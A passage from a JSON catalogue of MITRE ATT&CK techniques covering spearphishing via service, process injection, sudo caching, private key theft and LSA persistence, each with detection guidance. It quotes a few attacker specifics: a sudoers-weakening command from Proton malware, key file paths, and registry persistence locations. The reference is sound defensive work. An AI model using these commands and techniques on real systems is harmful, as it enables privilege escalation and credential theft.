      "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\nDetection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Anti-virus, Web proxy",
      "meta": {
        "external_id": "T1194",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "SSL/TLS inspection",
          "Anti-virus",
          "Web proxy"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1194"
        ]
      },
      "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847",
      "value": "Spearphishing via Service - T1194"
    },
    {
      "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1050",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1050",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://technet.microsoft.com/en-us/library/cc772408.aspx"
        ]
      },
      "uuid": "478aa214-2ca7-4ec0-9978-18798e514790",
      "value": "New Service - T1050"
    },
    {
      "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
      "meta": {
        "external_id": "T1126",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters",
          "Packet capture",
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1126",
          "https://technet.microsoft.com/bb490717.aspx"
        ]
      },
      "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a",
      "value": "Network Share Connection Removal - T1126"
    },
    {
      "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
      "meta": {
        "external_id": "T1145",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1145",
          "https://en.wikipedia.org/wiki/Public-key%20cryptography",
          "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf",
          "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
        ]
      },
      "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe",
      "value": "Private Keys - T1145"
    },
    {
      "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1186",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1186",
          "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
          "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
          "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
          "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
        ]
      },
      "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76",
      "value": "Process Doppelgänging - T1186"
    },
    {
      "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nDetection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Third-party application logs",
      "meta": {
        "external_id": "T1199",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Application Logs",
          "Authentication logs",
          "Third-party application logs"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1199"
        ]
      },
      "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925",
      "value": "Trusted Relationship - T1199"
    },
    {
      "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
      "meta": {
        "external_id": "T1173",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "DLL monitoring",
          "Process Monitoring",
          "Windows Registry",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1173",
          "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
          "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
          "https://www.contextis.com/blog/comma-separated-vulnerabilities",
          "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
          "https://technet.microsoft.com/library/security/4053440",
          "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
          "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
          "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
        ]
      },
      "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
      "value": "Dynamic Data Exchange - T1173"
    },
    {
      "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments\"  (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Combined with <code>tty_tickets</code> being disabled, means adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.\n\nDetection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process command-line parameters\n\nEffective Permissions: root\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1206",
        "kill_chain": [
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1206",
          "https://www.sudo.ws/",
          "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
        ]
      },
      "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e",
      "value": "Sudo Caching - T1206"
    },
    {
      "description": "During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
      "meta": {
        "external_id": "T1163",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1163",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
        ]
      },
      "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
      "value": "Rc.common - T1163"
    },
    {
      "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.  (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios",
      "meta": {
        "external_id": "T1055",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Windows Registry",
          "File monitoring",
          "DLL monitoring",
          "Named Pipes",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1055",
          "https://github.com/mattifestation/PowerSploit",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
          "https://www.endgame.com/blog/technical-blog/hunting-memory",
          "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
          "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
          "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
          "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
          "https://www.datawire.io/code-injection-on-linux-and-macos/",
          "http://hick.org/code/skape/papers/needle.txt",
          "http://phrack.org/issues/51/8.html",
          "http://vxer.org/lib/vrn00.html",
          "https://www.gnu.org/software/acct/",
          "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing",
          "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
          "https://docs.microsoft.com/sysinternals/downloads/sysmon"
        ]
      },
      "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
      "value": "Process Injection - T1055"
    },
    {
      "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1131",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "DLL monitoring",
          "Windows Registry",
          "Loaded DLLs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1131",
          "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
          "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
          "https://technet.microsoft.com/en-us/library/dn408187.aspx"
        ]
      },
      "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d",
      "value": "Authentication Package - T1131"
    },
    {
      "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1079",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Process use of network",
          "Malware reverse engineering",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1079",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
          "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
          "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
          "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
        ]
      },
      "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e",
      "value": "Multilayer Encryption - T1079"
    },
    {
      "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
      "meta": {
        "external_id": "T1109",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1109"
        ]
      },
      "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
      "value": "Component Firmware - T1109"
    },
    {
      "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1135",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Process command-line parameters",
          "Network protocol analysis",
          "Process use of network"
        ],
        "mitre_platforms": [
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1135",
          "https://en.wikipedia.org/wiki/Shared%20resource",
          "https://technet.microsoft.com/library/cc770880.aspx"
        ]
      },
      "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
      "value": "Network Share Discovery - T1135"
    },
    {
